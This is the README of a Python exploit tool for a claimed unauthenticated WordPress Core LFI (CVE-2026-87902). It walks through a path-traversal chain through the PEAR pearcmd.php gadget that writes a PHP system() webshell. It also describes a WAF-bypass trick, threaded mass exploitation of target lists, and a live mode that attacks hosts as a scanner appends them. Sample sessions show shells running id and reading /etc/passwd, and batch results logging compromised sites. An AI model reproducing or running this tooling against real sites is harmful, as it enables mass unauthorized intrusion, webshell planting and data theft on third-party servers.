Python exploit for CVE-2026-87902, an unauthenticated LFI in WordPress Core ≤7.1.1: fingerprints OPML, detects webroot, abuses the PEAR gadget to drop a webshell, and verifies RCE.
╔══════════════════════════════════════════════════════╗
║ ♡ CVE-2026-87902 · WordPress Core ♡ ║
║ Unauthenticated LFI → RCE · Affected <= 7.1.1 ║
║ === Majestic666 x Caterscam === ║
╚══════════════════════════════════════════════════════╝
WordPress Core ≤ 7.1.1 — Unauthenticated LFI → RCE
CVE-2026-87902 is an unauthenticated Local File Inclusion vulnerability in WordPress Core ≤ 7.1.1 via locate_template().
The pagename parameter in the query string is passed unsanitized to locate_template(), allowing path traversal to include arbitrary PHP files already on the server — most critically pearcmd.php, which accepts arguments via QUERY_STRING and can write attacker-controlled files.
pagename path traversal
└─ include ../../../../wp-links-opml.php ← LFI confirmation (OPML)
└─ include ../../../../usr/share/php/pearcmd.php ← PEAR gadget
└─ &+config-create+/<?=system($_GET[x]);?>+/dest.php
└─ mr666_<hex>.php ← webshell in wp-content/
└─ ?x=id → uid=33(www-data) ... ← RCE confirmed
| Feature | Detail |
|---|---|
| OPML auto-fingerprint | Fetches wp-links-opml.php before the LFI sweep, extracts structural XML/generator signatures, rejects false positives where HTML appears before OPML content |
| Multi-source version detection | meta → rss → opml → readme → asset → login → install → wp-json |
| Auto webroot detection | 3 methods: PHP error path leak, wp-config.php ABSPATH, wp-load.php path |
| 90+ fallback webroot patterns | cPanel, Plesk, Bitnami, Docker, DirectAdmin, Beget, LiteSpeed, Termux, etc. |
| PEAR tier sweep | FAST tier (20 paths) → FULL tier (70+ paths) if FAST misses |
| WAF bypass | 50 KB POST body padding to push pagename past WAF body inspection threshold |
| Shell output cleaner | Deduplicates PEAR's 12× repeated command output; extracts clean uid= / uname lines |
| Mass verification | Runs id on every dropped shell to confirm live RCE before marking as success |
| Live mode | Tails a file and exploits new targets as lines are appended — file doesn't need to exist at startup |
| Single mode | Interactive shell with full PTY-style command loop |
urllib, ssl, re, json, threading)python3 majestic666.py
Exploit one target, drop a shell, and get an interactive command prompt.
♡ [1] Single · interactive shell
◆ [2] Mass · batch file — one-shot or live tail
⚡ [3] Live · watch file, exploit new targets
✗ [4] Exit · see you next time ♡
♡ choice [1/2/3/4] : 1
♡ target url : https://target.com
────────────────────────────────────────────────────
◆ scanning https://target.com
◆ wp=7.0.3 (src=meta,opml) php=PHP/8.1.12 server=nginx
◆ opml sigs: 3
[*] lfi d=3 suf=templates http=200 OPML=YES
♡ LFI confirmed — depth=3 suffix=templates
[*] pear sweep tier1: 20 paths
[+] gadget /usr/share/php/pearcmd.php depth=4 (tier=FAST)
[*] webroot attempts: 186 (auto+defaults)
[*] write /var/www/html/wp-content/mr666_a3f8c192.php -> http=200
★ shell uploaded
★ ▶ https://target.com/wp-content/mr666_a3f8c192.php
♡ execute : curl 'https://target.com/wp-content/mr666_a3f8c192.php?x=id'
────────────────────────────────────────────────────
♡ shell> id
▶ uid=33(www-data) gid=33(www-data) groups=33(www-data)
♡ shell> uname -a
▶ Linux srv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
♡ shell> cat /etc/passwd | head -3
▶ root:x:0:0:root:/root:/bin/bash
▶ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
▶ bin:x:2:2:bin:/bin:/usr/sbin/nologin
♡ shell> exit
♡ bye ♡
Custom shell: leave the
shell fileprompt blank to use the built-in<?=system($_GET[x]);?>webshell, or enter a path to your own.phpfile to relay it through the PEAR gadget.
Exploit a list of targets in parallel. Two sub-modes: one-shot and live tail.
Process a targets file once and exit.
♡ choice [1/2/3/4] : 2
♡ [1] one-shot · process file once
⚡ [2] live · tail file, exploit new targets
♡ scan mode [1/2] : 1
◆ targets file [targets.txt] : targets.txt
◆ threads [1-50] : 20
╾────────────── BATCH SCAN ──────────────╼
◆ targets ▶ 150
◆ threads ▶ 20
◆ output ▶ rce.txt
◆ verify ▶ id
──────────────────────────────────────────────────
[1] https://vuln1.com [Wordpress 7.0.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
[2] https://shop.nope.io [Not Wordpress or WAF]
[3] https://patched.net [Wordpress 7.1.2] [ PATCHED ]
[4] https://vuln2.org [Wordpress 6.9.1] [ VULN ] [ RCE OK ] uid=1000(deploy)...
[5] https://dead.example [ FAIL ] [ Failed ]
...
◆ [50/150] ♡ vuln=2 ★ rce=2 ⚠ unverif=0 ⚠ bypass=0 ✗ skip=46
╾────────────── RESULTS ──────────────────╼
◆ scanned ▶ 150
♡ vuln ▶ 4
♡ lfi only ▶ 1
★ rce ok ▶ 3
⚠ unverified ▶ 1
⚠ bypass ▶ 1
◆ patched ▶ 12
✗ skip ▶ 131
✗ dead ▶ 2
──────────────────────────────────────────────────
★ saved ▶ rce.txt
⚠ bypass ▶ bypass-manual.txt
Same as mode [3] but accessed via the Mass mode menu.
♡ scan mode [1/2] : 2
◆ targets file [targets.txt] : feed.txt
◆ threads [1-50] : 10
[LIVE] Watching feed.txt — Ctrl+C to stop
Threads : 10
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://new-target.com
[7] https://new-target.com [Wordpress 6.8.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
Start watching a file immediately. New lines are exploited as they appear.
The file does not need to exist at startup — useful when paired with a scanner that appends targets.
♡ choice [1/2/3/4] : 3
⚡ targets file [targets.txt] : /tmp/discovered.txt
⚡ threads [1-50] : 15
[LIVE] Watching /tmp/discovered.txt — Ctrl+C to stop
Threads : 15
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://site1.example.com
[LIVE] queued https://site2.example.com
[1] https://site1.example.com [Wordpress 7.0.1] [ VULN ] [ RCE OK ] uid=33(www-data)
[2] https://site2.example.com [Not Wordpress or WAF]
...
^C
[LIVE] Stopped.
──────────────────────────────────────────────────
♡ Vuln : 1
★ RCE OK : 1
⚠ Unverified : 0
⚠ Bypass : 0
✗ Skip : 1
──────────────────────────────────────────────────
★ saved ▶ rce.txt
| File | Content |
|---|---|
rce.txt | <url> | [RCE OK] <shell_url> | <id output> |
bypass-manual.txt | <url> | lfi-only — LFI confirmed but no PEAR gadget found |
Old versions of OPML-based LFI detection matched any response containing <?xml + outline — triggering false positives on:
How it works now: